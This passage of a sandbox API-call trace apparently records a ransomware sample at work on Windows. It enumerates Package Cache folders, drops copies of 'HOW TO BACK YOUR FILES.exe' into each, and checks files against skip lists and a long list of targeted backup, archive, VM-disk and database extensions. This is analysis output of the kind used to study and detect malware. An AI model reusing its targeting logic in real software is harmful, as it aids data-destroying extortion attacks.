(lpString1=".", lpString2=".") returned 0 [0098.748] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.748] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.748] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.748] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.748] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.748] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bee480, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.748] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.748] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0098.748] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.749] lstrcmpiW (lpString1="packages", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.749] lstrcmpiW (lpString1="packages", lpString2=".") returned 1 [0098.749] lstrcmpiW (lpString1="packages", lpString2="..") returned 1 [0098.749] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1 [0098.749] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1 [0098.749] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1 [0098.749] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1 [0098.749] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1 [0098.749] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1 [0098.749] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1 [0098.749] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1 [0098.749] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1 [0098.749] lstrlenW (lpString="packages") returned 8 [0098.749] lstrcpyW (in: lpString1=0x241e8e6, lpString2="packages" | out: lpString1="packages") returned="packages" [0098.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ad40 [0098.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb0) returned 0x53f220 [0098.749] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0098.749] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0098.749] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.752] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0098.752] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.752] ReleaseMutex (hMutex=0xec) returned 1 [0098.752] CloseHandle (hObject=0xec) returned 1 [0098.752] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0098.752] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x522648 | out: hHeap=0x4f0000) returned 1 [0098.752] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ad58 | out: hHeap=0x4f0000) returned 1 [0098.752] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 79 [0098.752] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\67D2F6637C68ADFE1B70BCF50E83DD50") returned 0xec [0098.752] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.752] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0098.752] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.752] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.753] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.753] GetLastError () returned 0x0 [0098.753] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f2d8 [0098.753] ReadFile (in: hFile=0xf4, lpBuffer=0x53f2d8, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f2d8*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.754] CloseHandle (hObject=0xf4) returned 1 [0098.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0098.754] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.754] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.754] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.754] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.754] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.754] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.754] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.754] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.754] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.754] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.754] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bee480, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.755] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.755] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0098.755] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.755] lstrcmpiW (lpString1="packages", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.755] lstrcmpiW (lpString1="packages", lpString2=".") returned 1 [0098.755] lstrcmpiW (lpString1="packages", lpString2="..") returned 1 [0098.755] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1 [0098.755] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1 [0098.755] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1 [0098.755] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1 [0098.755] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1 [0098.755] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1 [0098.755] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1 [0098.755] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1 [0098.755] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1 [0098.755] lstrlenW (lpString="packages") returned 8 [0098.755] lstrcpyW (in: lpString1=0x241e8e8, lpString2="packages" | out: lpString1="packages") returned="packages" [0098.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ad58 [0098.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb2) returned 0x51c7c8 [0098.755] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0098.755] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0098.755] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.758] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0098.758] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.758] ReleaseMutex (hMutex=0xec) returned 1 [0098.758] CloseHandle (hObject=0xec) returned 1 [0098.758] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0098.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c68 | out: hHeap=0x4f0000) returned 1 [0098.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ad70 | out: hHeap=0x4f0000) returned 1 [0098.758] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 67 [0098.758] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E13FFEA3C2305E999AFF7F869E0B14A0") returned 0xec [0098.758] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.758] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0098.759] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.759] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.759] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.759] GetLastError () returned 0x0 [0098.759] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f2d8 [0098.759] ReadFile (in: hFile=0xf4, lpBuffer=0x53f2d8, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f2d8*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.760] CloseHandle (hObject=0xf4) returned 1 [0098.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0098.760] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.761] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.761] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.761] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.761] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.761] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.761] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.761] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.761] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.761] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.761] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bee480, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.761] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.761] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xe9f9cff0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0098.761] lstrcmpiW (lpString1="state.rsm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.761] lstrcmpiW (lpString1="state.rsm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.761] lstrcmpiW (lpString1="state.rsm", lpString2=".") returned 1 [0098.761] lstrcmpiW (lpString1="state.rsm", lpString2="..") returned 1 [0098.761] lstrcmpiW (lpString1="state.rsm", lpString2="windows") returned -1 [0098.761] lstrcmpiW (lpString1="state.rsm", lpString2="bootmgr") returned 1 [0098.761] lstrcmpiW (lpString1="state.rsm", lpString2="temp") returned -1 [0098.761] lstrcmpiW (lpString1="state.rsm", lpString2="pagefile.sys") returned 1 [0098.761] lstrcmpiW (lpString1="state.rsm", lpString2="boot") returned 1 [0098.761] lstrcmpiW (lpString1="state.rsm", lpString2="ids.txt") returned 1 [0098.762] lstrcmpiW (lpString1="state.rsm", lpString2="ntuser.dat") returned 1 [0098.762] lstrcmpiW (lpString1="state.rsm", lpString2="perflogs") returned 1 [0098.762] lstrcmpiW (lpString1="state.rsm", lpString2="MSBuild") returned 1 [0098.762] lstrlenW (lpString="state.rsm") returned 9 [0098.762] lstrcpyW (in: lpString1=0x241e8d0, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm" [0098.762] lstrlenW (lpString="state.rsm") returned 9 [0098.762] lstrlenW (lpString="Athena865") returned 9 [0098.762] lstrlenW (lpString=".dll") returned 4 [0098.762] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1 [0098.762] lstrlenW (lpString=".lnk") returned 4 [0098.762] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1 [0098.762] lstrlenW (lpString=".ini") returned 4 [0098.762] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1 [0098.762] lstrlenW (lpString=".sys") returned 4 [0098.762] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1 [0098.762] lstrlenW (lpString="state.rsm") returned 9 [0098.762] lstrlenW (lpString="bak") returned 3 [0098.762] lstrcmpiW (lpString1="rsm", lpString2="bak") returned 1 [0098.762] lstrlenW (lpString="ba_") returned 3 [0098.762] lstrcmpiW (lpString1="rsm", lpString2="ba_") returned 1 [0098.762] lstrlenW (lpString="dbb") returned 3 [0098.762] lstrcmpiW (lpString1="rsm", lpString2="dbb") returned 1 [0098.762] lstrlenW (lpString="vmdk") returned 4 [0098.762] lstrcmpiW (lpString1=".rsm", lpString2="vmdk") returned -1 [0098.762] lstrlenW (lpString="rar") returned 3 [0098.762] lstrcmpiW (lpString1="rsm", lpString2="rar") returned 1 [0098.762] lstrlenW (lpString="zip") returned 3 [0098.762] lstrcmpiW (lpString1="rsm", lpString2="zip") returned -1 [0098.762] lstrlenW (lpString="tgz") returned 3 [0098.763] lstrcmpiW (lpString1="rsm", lpString2="tgz") returned -1 [0098.763] lstrlenW (lpString="vbox") returned 4 [0098.763] lstrcmpiW (lpString1=".rsm", lpString2="vbox") returned -1 [0098.763] lstrlenW (lpString="vdi") returned 3 [0098.763] lstrcmpiW (lpString1="rsm", lpString2="vdi") returned -1 [0098.763] lstrlenW (lpString="vhd") returned 3 [0098.763] lstrcmpiW (lpString1="rsm", lpString2="vhd") returned -1 [0098.763] lstrlenW (lpString="vhdx") returned 4 [0098.763] lstrcmpiW (lpString1=".rsm", lpString2="vhdx") returned -1 [0098.763] lstrlenW (lpString="avhd") returned 4 [0098.763] lstrcmpiW (lpString1=".rsm", lpString2="avhd") returned -1 [0098.763] lstrlenW (lpString="db") returned 2 [0098.763] lstrcmpiW (lpString1="sm", lpString2="db") returned 1 [0098.763] lstrlenW (lpString="db2") returned 3 [0098.763] lstrcmpiW (lpString1="rsm", lpString2="db2") returned 1 [0098.763] lstrlenW (lpString="db3") returned 3 [0098.763] lstrcmpiW (lpString1="rsm", lpString2="db3") returned 1 [0098.763] lstrlenW (lpString="dbf") returned 3 [0098.763] lstrcmpiW (lpString1="rsm", lpString2="dbf") returned 1 [0098.763] lstrlenW (lpString="mdf") returned 3 [0098.763] lstrcmpiW (lpString1="rsm", lpString2="mdf") returned 1 [0098.763] lstrlenW (lpString="mdb") returned 3 [0098.763] lstrcmpiW (lpString1="rsm", lpString2="mdb") returned 1 [0098.763] lstrlenW (lpString="sql") returned 3 [0098.763] lstrcmpiW (lpString1="rsm", lpString2="sql") returned -1 [0098.763] lstrlenW (lpString="sqlite") returned 6 [0098.763] lstrcmpiW (lpString1="te.rsm", lpString2="sqlite") returned 1 [0098.763] lstrlenW (lpString="sqlite3") returned 7 [0098.763] lstrcmpiW (lpString1="ate.rsm", lpString2="sqlite3") returned -1 [0098.763] lstrlenW (lpString="sqlitedb") returned 8 [0098.764] lstrcmpiW (lpString1="tate.rsm", lpString2="sqlitedb") returned 1 [0098.764] lstrlenW (lpString="xml") returned 3 [0098.764] lstrcmpiW (lpString1="rsm", lpString2="xml") returned -1 [0098.764] lstrlenW (lpString="$er") returned 3 [0098.764] lstrcmpiW (lpString1="rsm", lpString2="$er") returned 1 [0098.764] lstrlenW (lpString="4dd") returned 3 [0098.764] lstrcmpiW (lpString1="rsm", lpString2="4dd") returned 1 [0098.764] lstrlenW (lpString="4dl") returned 3 [0098.764] lstrcmpiW (lpString1="rsm", lpString2="4dl") returned 1 [0098.764] lstrlenW (lpString="^^^") returned 3 [0098.764] lstrcmpiW (lpString1="rsm", lpString2="^^^") returned 1 [0098.764] lstrlenW (lpString="abs") returned 3 [0098.764] lstrcmpiW (lpString1="rsm", lpString2="abs") returned 1 [0098.764] lstrlenW (lpString="abx") returned 3 [0098.764] lstrcmpiW (lpString1="rsm", lpString2="abx") returned 1 [0098.764] lstrlenW (lpString="accdb") returned 5 [0098.764] lstrcmpiW (lpString1="e.rsm", lpString2="accdb") returned 1 [0098.764] lstrlenW (lpString="accdc") returned 5 [0098.764] lstrcmpiW (lpString1="e.rsm", lpString2="accdc") returned 1 [0098.764] lstrlenW (lpString="accde") returned 5 [0098.764] lstrcmpiW (lpString1="e.rsm", lpString2="accde") returned 1 [0098.764] lstrlenW (lpString="accdr") returned 5 [0098.764] lstrcmpiW (lpString1="e.rsm", lpString2="accdr") returned 1 [0098.764] lstrlenW (lpString="accdt") returned 5 [0098.764] lstrcmpiW (lpString1="e.rsm", lpString2="accdt") returned 1 [0098.764] lstrlenW (lpString="accdw") returned 5 [0098.764] lstrcmpiW (lpString1="e.rsm", lpString2="accdw") returned 1 [0098.764] lstrlenW (lpString="accft") returned 5 [0098.764] lstrcmpiW (lpString1="e.rsm", lpString2="accft") returned 1 [0098.765] lstrlenW (lpString="adb") returned 3 [0098.765] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1 [0098.765] lstrlenW (lpString="adb") returned 3 [0098.765] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1 [0098.765] lstrlenW (lpString="ade") returned 3 [0098.765] lstrcmpiW (lpString1="rsm", lpString2="ade") returned 1 [0098.765] lstrlenW (lpString="adf") returned 3 [0098.765] lstrcmpiW (lpString1="rsm", lpString2="adf") returned 1 [0098.765] lstrlenW (lpString="adn") returned 3 [0098.765] lstrcmpiW (lpString1="rsm", lpString2="adn") returned 1 [0098.765] lstrlenW (lpString="adp") returned 3 [0098.765] lstrcmpiW (lpString1="rsm", lpString2="adp") returned 1 [0098.765] lstrlenW (lpString="alf") returned 3 [0098.765] lstrcmpiW (lpString1="rsm", lpString2="alf") returned 1 [0098.765] lstrlenW (lpString="ask") returned 3 [0098.765] lstrcmpiW (lpString1="rsm", lpString2="ask") returned 1 [0098.765] lstrlenW (lpString="btr") returned 3 